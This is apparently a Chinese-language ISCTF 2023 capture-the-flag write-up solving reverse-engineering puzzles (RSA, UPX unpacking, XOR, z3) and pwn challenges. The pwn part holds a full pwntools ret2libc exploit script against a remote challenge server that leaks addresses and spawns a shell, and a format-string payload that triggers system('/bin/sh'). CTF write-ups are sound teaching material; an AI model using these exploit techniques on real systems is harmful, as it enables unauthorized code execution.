nyyyddddn

isctf

2023/11/29

RE

crackme

运行就拿到flag了?看了一下是upx3.96

babyRe

反编译了一下,大概是这样一个逻辑,rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import libnum
from crypto.Util.number import *
flag = 'ISCTF{******************}'
flags = flag.encode()
e = 65537
p = libnum.generate_prime(1024)
q = libnum.generate_prime(1024)
n = p * q
m = bytes_to_long(flags)
c = pow(m, e, n)
output = open('output.txt', 'w')
output.write('p+q =' + str(p + q) + '\n')
output.write('(p+1)*(q+1)=' + str((p + 1) * (q + 1)) + '\n')
output.write('c=' + str(c) + '\n')
output.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from sympy import symbols, solve, isprime
from Crypto.Util.number import inverse, long_to_bytes


p_plus_q = 292884018782106151080211087047278002613718113661882871562870811030932129300110050822187903340426820507419488984883216665816506575312384940488196435920320779296487709207011656728480651848786849994095965852212548311864730225380390740637527033103610408592664948012814290769567441038868614508362013860087396409860

p_plus_1_q_plus_1 = 21292789073160227295768319780997976991300923684414991432030077313041762314144710093780468352616448047534339208324518089727210764843655182515955359309813600286949887218916518346391288151954579692912105787780604137276300957046899460796651855983154616583709095921532639371311099659697834887064510351319531902433355833604752638757132129136704458119767279776712516825379722837005380965686817229771252693736534397063201880826010273930761767650438638395019411119979149337260776965247144705915951674697425506236801595477159432369862377378306461809669885764689526096087635635247658396780671976617716801660025870405374520076160
ciphertext = 5203005542361323780340103662023144468501161788183930759975924790394097999367062944602228590598053194005601497154183700604614648980958953643596732510635460233363517206803267054976506058495592964781868943617992245808463957957161100800155936109928340808755112091651619258385206684038063600864669934451439637410568700470057362554045334836098013308228518175901113235436257998397401389511926288739759268080251377782356779624616546966237213737535252748926042086203600860251557074440685879354169866206490962331203234019516485700964227924668452181975961352914304357731769081382406940750260817547299552705287482926593175925396
e = 65537

n = p_plus_1_q_plus_1 - p_plus_q - 1

p, q = symbols('p q')
solutions = solve([p + q - p_plus_q, p*q - n], (p, q))
p, q = [int(sol) for sol in solutions[0] if isprime(sol)]

phi = (p - 1) * (q - 1)
d = inverse(e, phi)

m = pow(ciphertext, d, n)
flag = long_to_bytes(m).decode()
print(flag)

mfx_re

mfx? 搜索了一下,是修改了 upx的特征,把upx! 的字段修改成了mfx!,010edit中把文件里面几个mfx! 修改成upx! 就能用upx -d解压了,readelf -a也能看到符号表

关键逻辑是这里,++一下就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
puts("The second question is flag = ?");
printf("flag = ");
*(_QWORD *)s = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0;
scanf("%s", s);
strcpy(s2, "HRBSEz84a2`/40,3530,3/``,`560,3/77`a5/c8c3|");
v17 = 0;
v18 = 0;
for ( i = 0; ; ++i )
{
v3 = i;
if ( v3 >= strlen(s) )
break;
--s[i];
}
strcmp(s, s2);
puts("Now you know your flag!");
1
2
3
4
5
flag = r"HRBSEz84a2`/40,3530,3/``,`560,3/77`a5/c8c3|"

for i in range(len(flag)):
bytes = ord(flag[i]) + 1
print(chr(bytes),end="")

EasyRe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[224]; // [rsp+20h] [rbp-60h] BYREF
char inputString[104]; // [rsp+100h] [rbp+80h] BYREF
int inputStringLen; // [rsp+168h] [rbp+E8h]
int i; // [rsp+16Ch] [rbp+ECh]

_main();
strcpy(v4, "]P_ISRF^PCY[I_YWERYC");
memset(&v4[21], 0, 78);
puts("please input your strings:");
gets(inputString);
inputStringLen = strlen(inputString);
while ( inputString[i] )
{
for ( i = 0; i < inputStringLen; ++i )
v4[i + 112] = inputString[i] ^ 0x11;
}
for ( i = 0; i < inputStringLen; ++i )
{
if ( v4[i + 112] == 66 || v4[i + 112] == 88 )
v4[i + 112] = -101 - v4[i + 112];
}
for ( i = inputStringLen - 1; i >= 0; --i )
v4[inputStringLen - i + 111] = v4[i + 112];
i = 0;
if ( inputStringLen > 0 )
{
if ( v4[i + 112] == v4[i] )
printf("yes!!!");
else
printf("no!!!");
}
return 0;
}

可以直接把可见字符丢进去,得到的结果和可见字符构成一个映射表,然后对着找就好了。

v4[i + 112] = -101 - v4[i + 112]; 这个表达式看不太懂,似乎char表达式只会取低位一个字节。

那9B - 66 = 89 9B - 88 = 67,那也就是说89或者67可能是他本身或者是66 88,直接替换一下试试?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
flag = [93, 80, 95, 73, 83, 82, 70, 94, 80, 67, 89, 91, 73, 95, 89, 87, 69, 82, 89, 67]


flag = flag[::-1]


for i in range(len(flag)):
if flag[i] == 89:
flag[i] = 66
if flag[i] == 67:
flag[i] = 88

for i in flag:
byte = i ^ 0x11
print(chr(byte),end="")

加上花括号交上去 正确了

easy_z3

用z3约束求解就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from z3 import *

l = [Int(f"l[{i}]") for i in range(6)]

s = z3.Solver()

s.add(And(
(593*l[5] + 997*l[0] + 811*l[1] + 258*l[2] + 829*l[3] + 532*l[4]) == 0x54eb02012bed42c08,
(605*l[4] + 686*l[5] + 328*l[0] + 602*l[1] + 695*l[2] + 576*l[3]) == 0x4f039a9f601affc3a,
(373*l[3] + 512*l[4] + 449*l[5] + 756*l[0] + 448*l[1] + 580*l[2]) == 0x442b62c4ad653e7d9,
(560*l[2] + 635*l[3] + 422*l[4] + 971*l[5] + 855*l[0] + 597*l[1])== 0x588aabb6a4cb26838,
(717*l[1] + 507*l[2] + 388*l[3] + 925*l[4] + 324*l[5] + 524*l[0])== 0x48f8e42ac70c9af91,
(312*l[0] + 368*l[1] + 884*l[2] + 518*l[3] + 495*l[4] + 414*l[5])== 0x4656c19578a6b1170

))

result1 = []

if s.check() == sat:
m = s.model()

for i in l:
result1.append(m[i].as_long())
for i in result1:
print(hex(i))

pwn

test_nc

就? nc?

nc_shell

就? nc? 然后cat flag

ezpie

patchelf了之后,在printf的时候,rsp+8有一个libc_csu_init的地址,可以用%s来泄露,,填充八个a就会把这个地址打印出来,因为高两个字节是\x00所以要加上,有了这个地址就能算出elf_base,然后拿到其他的一些gadget的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
__int64 (*v5)(void); // [rsp+28h] [rbp-8h]

init(argc, argv, envp);
v5 = func;
puts("input your name-> ");
read(0, buf, 0x30uLL);
printf("hello, %s\n", buf);
func();
return 0;
}
1
2
3
4
5
6
7
8
9
__int64 func()
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF

puts("please enter your information-> ");
read(0, buf, 0x98uLL);
puts("very well, thank you");
return 0LL;
}

发现有binsh字符,有pop rdi,有puts,就直接ret2libc了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./ezpie')
libc = ELF('/home/lhj/ruanjian/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')

is_debug = 0

if(is_debug):
p = process()
else:
ip = "43.249.195.138"
port = 21598
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)


# g(p)

sa("input your name-> ",b'a' * 8)
ru(b"a" * 8)
libc_csu_init = u64(r(6).ljust(8,b'\x00'))
rl()

elf_base = libc_csu_init - 0x12D0

success(f"libc_csu_init addr -> {hex(libc_csu_init)}")
success(f"elf_base addr -> {hex(elf_base)}")

rdi = elf_base + 0x1333
rsi_r15 = elf_base + 0x1331
main = elf_base + 0x1254

puts_got = elf.got['puts'] + elf_base
puts_plt = elf.plt['puts'] + elf_base

# g(p)

ru("please enter your information-> \n")
s(flat([
b'a' * (0x50 + 8),
rdi,puts_got,puts_plt,
main
]))

ru("very well, thank you\n")

leek_puts_addr = u64(r(6).ljust(8,b'\x00'))
libc_base = leek_puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = elf_base + 0x2008

success(f"leek_puts_addr -> {hex(leek_puts_addr)}")
success(f"libc_base_addr -> {hex(libc_base)}")
success(f"system_addr -> {hex(system)}")
success(f"binsh_addr -> {hex(binsh)}")

sa("input your name-> ",b'a' * 8)


ret = elf_base + 0x101a


s(flat([
b'a' * (0x50 + 8),
ret,
rdi,binsh,system
]))


p.interactive()


fmt

格式化字符串 有两个指针可以利用,gdb调试一下找到偏移,然后lln写数据就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 vuln()
{
int v1; // [rsp+8h] [rbp-A8h] BYREF
int v2; // [rsp+Ch] [rbp-A4h] BYREF
int *v3; // [rsp+10h] [rbp-A0h]
int *v4; // [rsp+18h] [rbp-98h]
__int64 buf[18]; // [rsp+20h] [rbp-90h] BYREF

buf[17] = __readfsqword(0x28u);
v1 = 0;
v2 = 0;
buf[0] = 0LL;
buf[1] = 0LL;
memset(&buf[4], 0, 96);
v3 = &v1;
v4 = &v2;
buf[2] = (unsigned __int8)&v1;
buf[3] = (unsigned __int8)&v2;
printf("> ");
read(0, buf, 0x80uLL);
printf((const char *)buf);
if ( v1 == 18 && v2 == 52 )
system("/bin/sh");
return 0LL;
}
1
%18c%8$lln%34c%9$lln
CATALOG
  1. 1. RE
    1. 1.1. crackme
    2. 1.2. babyRe
    3. 1.3. mfx_re
    4. 1.4. EasyRe
    5. 1.5. easy_z3
  2. 2. pwn
    1. 2.1. test_nc
    2. 2.2. nc_shell
    3. 2.3. ezpie
    4. 2.4. fmt